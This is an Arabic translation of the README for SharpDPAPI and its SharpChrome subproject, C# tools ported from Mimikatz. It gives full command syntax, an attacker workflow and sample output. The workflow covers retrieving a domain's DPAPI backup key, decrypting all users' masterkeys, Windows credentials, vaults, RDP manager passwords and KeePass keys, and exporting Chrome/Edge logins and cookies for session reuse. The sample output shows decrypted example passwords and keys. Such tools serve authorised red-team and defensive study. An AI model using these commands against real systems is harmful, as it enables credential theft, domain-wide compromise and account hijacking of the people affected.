
SharpDPAPI هو منفذ بلغة C# لبعض وظائف DPAPI من Mimikatz.
SharpDPAPI هو منفذ C# لبعض وظائف DPAPI من مشروع @gentilkiwi Mimikatz.
لم أبتكر هذه المنطق، إنه مجرد نقل من Mimikatz لفهم العملية بشكل أفضل وتشغيلها لتناسب سير عملنا.
المشروع الفرعي SharpChrome هو تكييف لعمل @gentilkiwi و @djhohnstein، وتحديداً مشروع SharpChrome الخاص به. ومع ذلك، يستخدم هذا الإصدار من SharpChrome نسخة مختلفة من مكتبة C# SQL التي تدعم الفتح بدون قفل. تم بناء SharpChrome كمشروع منفصل في SharpDPAPI بسبب حجم مكتبة SQLite المستخدمة.
يمكن فحص كل من Chrome ومتصفحات Edge الجديدة المبنية على Chromium باستخدام SharpChrome.
يستخدم SharpChrome أيضًا نسخة مصغرة من كود BCrypt P/Invoke الخاص بـ @AArnott والمُصدر بموجب ترخيص MIT.
إذا كنت غير معتاد على DPAPI، اطلع على هذه التدوينة لمزيد من المعلومات الأساسية. لمزيد من المعلومات حول بيانات الاعتماد والخزائن فيما يتعلق بـ DPAPI، اطلع على إدخال الويكي حول هذا الموضوع.
@harmj0y هو المؤلف الرئيسي لهذا النقل.
SharpDPAPI مرخص بموجب ترخيص BSD 3-Clause.
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.20.0
Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file:
SharpDPAPI backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]
The *search* comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs:
search /type:registry [/path:HKLM\path\to\key] [/showErrors]
search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
search /type:file /path:C:\path\to\file [/maxBytes:<numOfBytes>]
search /type:base64 [/base:<base64 string>]
Machine/SYSTEM Triage:
machinemasterkeys - triage all reachable machine masterkey files (elevates to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret)
machinecredentials - use 'machinemasterkeys' and then triage machine Credential files
machinevaults - use 'machinemasterkeys' and then triage machine Vaults
machinetriage - run the 'machinecredentials' and 'machinevaults' commands
User Triage:
Arguments for the 'masterkeys' command:
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X - decrypt the target user's masterkeys using a plaintext password (works remotely)
/ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely)
/credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
/rpc - decrypt the target user's masterkeys by asking domain controller to do so
/server:SERVER - triage a remote server, assuming admin access
/hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
Arguments for the credentials|vaults|rdg|keepass|triage|blob|ps commands:
Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X - decrypt the target user's masterkeys using a plaintext password (works remotely)
/ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely)
/credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
/rpc - decrypt the target user's masterkeys by asking domain controller to do so
GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
Targeting:
/target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder
/server:SERVER - triage a remote server, assuming admin access
Note: must use with /pvk:KEY or /password:X
Note: not applicable to 'blob' or 'ps' commands
Certificate Triage:
Arguments for the 'certificates' command:
/showall - show all decrypted private key files, not just ones that are linked to installed certs (the default)
/machine - use the local machine store for certificate triage
/mkfile | /target - for /machine triage
[all decryption args from User Triage above]
Note: in most cases, just use *triage* if you're targeting user DPAPI secrets and *machinetriage* if you're going after SYSTEM DPAPI secrets.
These functions wrap all the other applicable functions that can be automatically run.
__ _
(_ |_ _. ._ ._ / |_ ._ _ ._ _ _
__) | | (_| | |_) \_ | | | (_) | | | (/_)
|
v1.9.0
Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file:
SharpChrome backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]
Global arguments for the 'cookies', 'logins', and 'statekeys' commands:
Decryption:
/unprotect - force use of CryptUnprotectData() (default for unprivileged execution)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X - decrypt the target user's masterkeys using a plaintext password (works remotely)
/ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely)
/prekey:X - decrypt the target user's masterkeys using a DPAPI prekey (domain or local SHA1, works remotely)
/rpc - decrypt the target user's masterkeys by asking domain controller to do so
GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
/statekey:X - a decrypted AES state key (from the 'statekey' command)
Targeting:
/target:FILE - triage a specific 'Cookies', 'Login Data', or 'Local State' file location
/target:C:\Users\X\ - triage a specific user folder for any specified command
/server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY)
/browser:X - triage 'chrome' (default), (chromium-based) 'edge', or 'slack'
Output:
/format:X - either 'csv' (default) or 'table' display
/showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default)
/consoleoutfile:X - output all console output to a file on disk
'cookies' command specific arguments:
/cookie:"REGEX" - only return cookies where the cookie name matches the supplied regex
/url:"REGEX" - only return cookies where the cookie URL matches the supplied regex
/format:json - output cookie values in an EditThisCookie JSON import format. Best when used with a regex!
/setneverexpire - set expirations for cookies output to now + 100 years (for json output)
أحد الأهداف مع SharpDPAPI هو تشغيل عمل Benjamin's DPAPI بطريقة تناسب سير عملنا.
كيفية استخدام مجموعة الأدوات بالضبط سيعتمد على مرحلة الاشتباك التي أنت فيها. بشكل عام، ينقسم هذا إلى "هل قمت باختراق المجال أم لا".
إذا تم الحصول على صلاحيات مسؤول المجال (أو ما يعادلها)، يمكن استرداد مفتاح النسخ الاحتياطي DPAPI للمجال باستخدام أمر backupkey (أو باستخدام Mimikatz). هذا المفتاح الخاص للمجال لا يتغير أبدًا، ويمكنه فك تشفير أي مفاتيح رئيسية DPAPI لمستخدمي المجال. هذا يعني، بالنظر إلى مفتاح النسخ الاحتياطي DPAPI للمجال، يمكن للمهاجم فك تشفير المفاتيح الرئيسية لأي مستخدم مجال يمكن استخدامها بعد ذلك لفك تشفير أي خزائن/بيانات اعتماد/تسجيلات دخول Chrome/أي كتل DPAPI أخرى. يمكن استخدام المفتاح المسترد من أمر backupkey مع أوامر masterkeys و credentials و vaults و rdg أو triage.
إذا لم يتم تحقيق صلاحيات مسؤول المجال، فإن استخدام أمر Mimikatz sekurlsa::dpapi سيقوم باسترداد تعيينات {GUID}:SHA1 للمفاتيح الرئيسية DPAPI (المستخدم والنظام) المحملة على نظام معين (نصيحة: تشغيل dpapi::cache بعد استخراج المفتاح سيعطيك جدولًا جميلاً). إذا قمت بتغيير هذه المفاتيح إلى تنسيق {GUID1}:SHA1 {GUID2}:SHA1...، يمكن توفيرها لأوامر credentials و vaults و rdg أو triage. هذا يتيح لك فحص جميع ملفات بيانات الاعتماد/الخزائن على النظام لأي مستخدم قام بتسجيل الدخول حاليًا، دون الحاجة إلى فك تشفير ملف بملف.
بدلاً من ذلك، إذا كان بإمكانك توفير كلمة مرور المستخدم المستهدف، أو تجزئة NTLM، أو مفتاح DPAPI prekey لأمر المستخدم باستخدام /password:X أو /ntlm:X أو /prekey:X على التوالي. يمكن استخدام حقل dpapi من إخراج Mimikatz sekurlsa::msv للمستخدمين المجالين كـ /prekey، بينما يمكن استخدام حقل sha1 من إخراج sekurlsa::msv كـ /prekey للمستخدمين المحليين.
لفك تشفير ملفات RDG/RDCMan.settings باستخدام أمر rdg، سيستخدم العلم /unprotect الدالة CryptUnprotectData() لفك تشفير أي كلمات مرور RDP محفوظة، إذا تم تشغيل الأمر من سياق المستخدم الذي حفظ كلمات المرور. يمكن القيام بذلك من سياق غير مميز، دون الحاجة للمس LSASS. لمعرفة لماذا لا يتم استخدام هذا الأسلوب لبيانات الاعتماد/الخزائن، راجع توثيق Benjamin هنا.
بالنسبة لفحص DPAPI الخاص بالجهاز، ستقوم أوامر machinemasterkeys|machinecredentials|machinevaults|machinetriage بعمل المعادل الآلي لفحص DPAPI للمستخدم. إذا كنت في سياق مرتفع (أي تحتاج إلى صلاحيات إدارية محلية)، سيقوم SharpDPAPI برفع الصلاحيات إلى SYSTEM لاسترداد سر LSA "DPAPI_SYSTEM"، والذي يستخدم بعد ذلك لفك تشفير أي مفاتيح رئيسية DPAPI للجهاز تم اكتشافها. يتم استخدام هذه المفاتيح كجداول بحث لبيانات اعتماد/خزائن الجهاز إلخ.
لمزيد من المعلومات الهجومية حول DPAPI، تحقق هنا.
SharpChrome هو تطبيق خاص بـ Chrome من SharpDPAPI قادر على فك تشفير/فحص ملفات تعريف الارتباط وتسجيلات الدخول. تم بناؤه كمشروع منفصل في SharpDPAPI بسبب حجم مكتبة SQLite المستخدمة.
نظرًا لأن ملفات تعريف الارتباط/بيانات تسجيل الدخول في Chrome محفوظة بدون CRYPTPROTECT_SYSTEM، فإن CryptUnprotectData() عادت على الطاولة. إذا تم تشغيل SharpChrome من سياق غير مرفوع، فسيحاول فك تشفير أي تسجيلات دخول/ملفات تعريف ارتباط للمستخدم الحالي باستخدام CryptUnprotectData(). يمكن أيضًا استخدام /pvk:[BASE64|file.pvk] أو جدول بحث {GUID}:SHA1 أو /password:X أو /ntlm:X أو /prekey:X أو /mkfile:FILE من قيم {GUID}:SHA1 لفك تشفير القيم. أيضًا، مكتبة C# SQL المستخدمة (مع بعض التعديلات) تدعم الفتح بدون قفل، مما يعني أن Chrome لا يحتاج إلى إغلاقه/لا تحتاج ملفات الهدف إلى نسخها إلى موقع آخر.
بدلاً من ذلك، إذا كان بإمكانك توفير كلمة مرور المستخدم المستهدف، أو تجزئة NTLM، أو مفتاح DPAPI prekey لأمر المستخدم باستخدام /password:X أو /ntlm:X أو /prekey:X على التوالي. يمكن استخدام حقل dpapi من إخراج Mimikatz sekurlsa::msv للمستخدمين المجالين كـ /prekey، بينما يمكن استخدام حقل sha1 من إخراج sekurlsa::msv كـ /prekey للمستخدمين المحليين.
إذا كان Chrome الإصدار 80+، يتم تخزين مفتاح حالة AES في AppData\Local\Google\Chrome\User Data\Local State - هذا المفتاح محمي باستخدام DPAPI، لذا يمكننا استخدام CryptUnprotectData()/pvk/جداول بحث المفتاح الرئيسي لفك تشفيره. يتم استخدام مفتاح AES هذا بعد ذلك لحماية إدخالات ملفات تعريف الارتباط وبيانات تسجيل الدخول الجديدة. هذه هي العملية أيضًا عند تحديد /browser:edge أو /browser:brave، لفحص متصفح Edge الجديد المبني على Chromium.
افتراضيًا، يتم عرض ملفات تعريف الارتباط وتسجيلات الدخول كملف csv - يمكن تغيير ذلك باستخدام /format:table لعرض جدول، و /format:json لملفات تعريف الارتباط على وجه التحديد. خيار json يخرج ملفات تعريف الارتباط بتنسيق json يمكن استيراده إلى إضافة Chrome EditThisCookie لإعادة الاستخدام بسهولة.
يحتوي أمر cookies أيضًا على وسيطات /cookie:REGEX و /url:REGEX لإرجاع أسماء ملفات تعريف الارتباط أو عناوين URL التي تطابق التعبير العادي المقدم فقط. هذا مفيد مع /format:json لاستنساخ الوصول إلى مواقع محددة بسهولة.
يمكن تحديد ملفات تعريف الارتباط/تسجيلات الدخول/مفاتيح الحالة المحددة باستخدام /target:X، ويمكن تحديد مجلد المستخدم باستخدام /target:C:\Users\USER\ لأي أمر فحص.
سيقوم أمر masterkeys بالبحث عن أي ملفات مفاتيح رئيسية قابلة للقراءة للمستخدم وفك تشفيرها باستخدام مفتاح النسخ الاحتياطي DPAPI المقدم للمجال. سيعيد مجموعة من تعيينات {GUID}:SHA1 للمفتاح الرئيسي.
يمكن استخدام /password:X لفك تشفير المفاتيح الرئيسية الحالية للمستخدم. لاحظ أنه بالنسبة للأجهزة المنضمة إلى المجال، يمكن توفير كلمة المرور إما بنص عادي أو تنسيق NTLM. إذا تم توفير /target أيضًا مع /password، فيجب تحديد /sid:X لـ SID الكامل للمجال للمستخدم.
يمكن أن يكون مفتاح النسخ الاحتياطي للمجال في شكل base64 (/pvk:BASE64...) أو شكل ملف (/pvk:key.pvk).
C:\Temp>SharpDPAPI.exe masterkeys /pvk:key.pvk
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: Triage User Masterkey Files
[*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316...(snip)...
...(snip)...
إذا لم يتم تحديد /password أو /pvk، يمكنك تمرير العلم /hashes لإلقاء تجزئات المفتاح الرئيسي بتنسيق John/Hashcat. في هذا الوضع، تتم طباعة التجزئات بتنسيق {GUID}:DPAPImk.
يتم أيضًا تحليل المفتاح Preferred لتسليط الضوء على المفتاح الرئيسي المفضل الحالي، بحيث لا يتم بذل جهد في كسر المفاتيح الأقدم.
C:\Temp>SharpDPAPI.exe masterkeys /hashes
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.11.3
[*] Action: User DPAPI Masterkey File Triage
[*] Will dump user masterkey hashes
[*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...
[*] Preferred master keys:
C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
[*] User master key hashes:
{42e95117-ff5f-40fa-a6fc-87584758a479}:$DPAPImk$1*3*S-1-5-21-1473254003-2681465353-4059813368-1000*des3*sha1*18000*09c49e9af9...(snip)...
يمكن تحديد ملف بيانات اعتماد معين (أو مجلد بيانات اعتماد) باستخدام /target:FILE أو /target:C:\Folder\. إذا تم تحديد ملف، تكون قيم {GUID}:SHA1 مطلوبة، وإذا تم تحديد مجلد، فيجب إما أ) توفير قيم {GUID}:SHA1 أو ب) أن يحتوي المجلد على مفاتيح رئيسية DPAPI ويجب توفير مفتاح احتياطي للمجال /pvk.
إذا تم تشغيل الأمر من سياق مرتفع الصلاحيات، فسيتم فرز ملفات بيانات الاعتماد لجميع المستخدمين، وإلا فسيتم معالجة ملفات بيانات الاعتماد للمستخدم الحالي فقط.
استخدام تعيينات المفاتيح الرئيسية {GUID}:SHA1 للمجال:
C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Credential Triage
[*] Triaging Credentials for ALL users
Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\
CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB
guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
size : 436
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description : Local Credential Data
LastWritten : 1/22/2019 2:44:40 AM
TargetName : Domain:target=TERMSRV/10.4.10.101
TargetAlias :
Comment :
UserName : DOMAIN\user
Credential : Password!
...(snip)...
استخدام مفتاح احتياطي لمجال DPAPI لفك تشفير أي مفاتيح رئيسية قابلة للاكتشاف أولاً:
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Credential Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Triaging Credentials for ALL users
Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\
CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB
guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
size : 436
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description : Local Credential Data
LastWritten : 1/22/2019 2:44:40 AM
TargetName : Domain:target=TERMSRV/10.4.10.101
TargetAlias :
Comment :
UserName : DOMAIN\user
Credential : Password!
...(snip)...
أمر vaults سيبحث عن الخزائن وسيفك تشفيرها إما أ) باستخدام أي مفتاح رئيسي {GUID}:SHA1 يتم تمريره، أو ب) باستخدام ملف /mkfile:FILE يحتوي على تعيين واحد أو أكثر من {GUID}:SHA1، أو ج) باستخدام مفتاح احتياطي لمجال DPAPI (/pvk:BASE64... أو /pvk:key.pvk) لفك تشفير أي مفاتيح رئيسية للمستخدم أولاً (على غرار masterkeys)، أو د) باستخدام /password:X لفك تشفير أي مفاتيح رئيسية للمستخدم، والتي تُستخدم بعد ذلك كجدول فك تشفير. يمكن استرداد تعيينات GUID الخاصة بـ DPAPI باستخدام أمر sekurlsa::dpapi من Mimikatz.
يتم فك تشفير مجلد Policy.vpol في مجلد الخزنة باستخدام أي مفاتيح DPAPI يتم توفيرها لاسترداد مفاتيح فك تشفير AES المرتبطة، والتي تُستخدم بعد ذلك لفك تشفير أي ملفات .vcrd مرتبطة.
يمكن تحديد مجلد خزنة محدد باستخدام /target:C:\Folder\. في هذه الحالة، يجب إما أ) توفير قيم {GUID}:SHA1 أو ب) أن يحتوي المجلد على مفاتيح رئيسية DPAPI ويجب توفير مفتاح احتياطي للمجال /pvk.
استخدام تعيينات المفاتيح الرئيسية {GUID}:SHA1 للمجال:
C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Vault Triage
[*] Triaging Vaults for ALL users
[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
LastWritten : 10/12/2018 12:10:42 PM
FriendlyName : Internet Explorer
Identity : admin
Resource : https://10.0.0.1/
Authenticator : Password!
...(snip)...
استخدام مفتاح احتياطي لمجال DPAPI لفك تشفير أي مفاتيح رئيسية قابلة للاكتشاف أولاً:
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: DPAPI Vault Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Triaging Vaults for ALL users
[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
LastWritten : 10/12/2018 12:10:42 PM
FriendlyName : Internet Explorer
Identity : admin
Resource : https://10.0.0.1/
Authenticator : Password!
...(snip)...
استخدام مفتاح احتياطي لمجال DPAPI مع مجلد محدد (أي فرز "غير متصل"):
C:\Temp>SharpDPAPI.exe vaults /target:C:\Temp\test\ /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Vault Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Target Vault Folder: C:\Temp\test\
[*] Triaging Vault folder: C:\Temp\test\
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
LastWritten : 3/20/2019 6:03:50 AM
FriendlyName : Internet Explorer
Identity : account
Resource : http://www.abc.com/
Authenticator : password
أمر rdg سيبحث عن ملفات RDCMan.settings للمستخدم الحالي (أو لجميع المستخدمين إذا كان مرتفع الصلاحيات) وسيفك تشفيرها إما أ) باستخدام أي مفتاح رئيسي {GUID}:SHA1 يتم تمريره، أو ب) باستخدام ملف /mkfile:FILE يحتوي على تعيين واحد أو أكثر من {GUID}:SHA1، أو ج) باستخدام مفتاح احتياطي لمجال DPAPI (/pvk:BASE64... أو /pvk:key.pvk) لفك تشفير أي مفاتيح رئيسية للمستخدم أولاً (على غرار masterkeys)، أو د) باستخدام /password:X لفك تشفير أي مفاتيح رئيسية للمستخدم، والتي تُستخدم بعد ذلك كجدول فك تشفير. يمكن استرداد تعيينات GUID الخاصة بـ DPAPI باستخدام أمر sekurlsa::dpapi من Mimikatz.
سيستخدم العلم /unprotect دالة CryptUnprotectData() لفك تشفير أي كلمات مرور محفوظة لـ RDP، إذا تم تشغيل الأمر من سياق المستخدم الذي حفظ كلمات المرور. يمكن القيام بذلك من سياق غير مرتفع الصلاحيات، دون الحاجة إلى لمس LSASS. لمعرفة سبب عدم استخدام هذا الأسلوب لبيانات الاعتماد/الخزائن، راجع توثيق بنجامين هنا.
يمكن تحديد ملف RDCMan.settings محدد، أو ملف .RDC (أو مجلد ملفات .RDG) باستخدام /target:FILE أو /target:C:\Folder\. إذا تم تحديد ملف، تكون قيم {GUID}:SHA1 (أو /unprotect) مطلوبة، وإذا تم تحديد مجلد، فيجب إما أ) توفير قيم {GUID}:SHA1 أو ب) أن يحتوي المجلد على مفاتيح رئيسية DPAPI ويجب توفير مفتاح احتياطي للمجال /pvk.
سيقوم هذا الأمر بفك تشفير أي معلومات كلمة مرور محفوظة من ملف RDCMan.settings ومن أي ملفات .RDG المشار إليها بواسطة ملف RDCMan.settings.
استخدام /unprotect لفك تشفير أي كلمات مرور تم العثور عليها:
C:\Temp>SharpDPAPI.exe rdg /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0
[*] Action: RDG Triage
[*] Using CryptUnprotectData() to decrypt RDG passwords
[*] Triaging RDCMan Settings Files for current user
RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local
Cred Profiles
Profile Name : testprofile
UserName : testlab.local\dfm
Password : Password123!
Default Logon Credentials
Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!
C:\Users\harmj0y\Documents\test.rdg
Servers
Name : secondary.testlab.local
Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!
استخدام تعيينات المفاتيح الرئيسية {GUID}:SHA1 للمجال:
C:\Temp>SharpDPAPI.exe rdg {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0
[*] Action: RDG Triage
[*] Using CryptUnprotectData() to decrypt RDG passwords
[*] Triaging RDCMan Settings Files for current user
RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local
Cred Profiles
Profile Name : testprofile
UserName : testlab.local\dfm
Password : Password123!
Default Logon Credentials
Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!
C:\Users\harmj0y\Documents\test.rdg
Servers
Name : secondary.testlab.local
Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!
استخدام مفتاح احتياطي لمجال DPAPI لفك تشفير أي مفاتيح رئيسية قابلة للاكتشاف أولاً:
C:\Temp>SharpDPAPI.exe rdg /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0
[*] Action: RDG Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Triaging RDCMan.settings Files for ALL users
RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local
Cred Profiles
Profile Name : testprofile
UserName : testlab.local\dfm.a
Password : Password123!
Default Logon Credentials
Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!
C:\Users\harmj0y\Documents\test.rdg
Servers
Name : secondary.testlab.local
Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!
أمر keepass سيبحث عن ملفات ProtectedUserKey.bin الخاصة بـ KeePass للمستخدم الحالي (أو لجميع المستخدمين إذا كان مرتفع الصلاحيات) وسيفك تشفيرها إما أ) باستخدام أي مفتاح رئيسي {GUID}:SHA1 يتم تمريره، أو ب) باستخدام ملف /mkfile:FILE يحتوي على تعيين واحد أو أكثر من {GUID}:SHA1، أو ج) باستخدام مفتاح احتياطي لمجال DPAPI (/pvk:BASE64... أو /pvk:key.pvk) لفك تشفير أي مفاتيح رئيسية للمستخدم أولاً (على غرار masterkeys)، أو د) باستخدام /password:X لفك تشفير أي مفاتيح رئيسية للمستخدم، والتي تُستخدم بعد ذلك كجدول فك تشفير. يمكن استرداد تعيينات GUID الخاصة بـ DPAPI باستخدام أمر sekurlsa::dpapi من Mimikatz.
سيستخدم العلم /unprotect دالة CryptUnprotectData() لفك تشفير بايتات المفتاح، إذا تم تشغيل الأمر من سياق المستخدم الذي حفظ كلمات المرور. يمكن القيام بذلك من سياق غير مرتفع الصلاحيات، دون الحاجة إلى لمس LSASS. لمعرفة سبب عدم استخدام هذا الأسلوب لبيانات الاعتماد/الخزائن، راجع توثيق بنجامين هنا.
يمكن تحديد ملف ProtectedUserKey.bin محدد، أو ملف .RDC (أو مجلد ملفات .RDG) باستخدام /target:FILE أو /target:C:\Folder\. إذا تم تحديد ملف، تكون قيم {GUID}:SHA1 (أو /unprotect) مطلوبة، وإذا تم تحديد مجلد، فيجب إما أ) توفير قيم {GUID}:SHA1 أو ب) أن يحتوي المجلد على مفاتيح رئيسية DPAPI ويجب توفير مفتاح احتياطي للمجال /pvk.
يمكن استخدام بايتات ملف المفتاح المفكوكة مع إصدار KeePass المعدل في KeeThief.
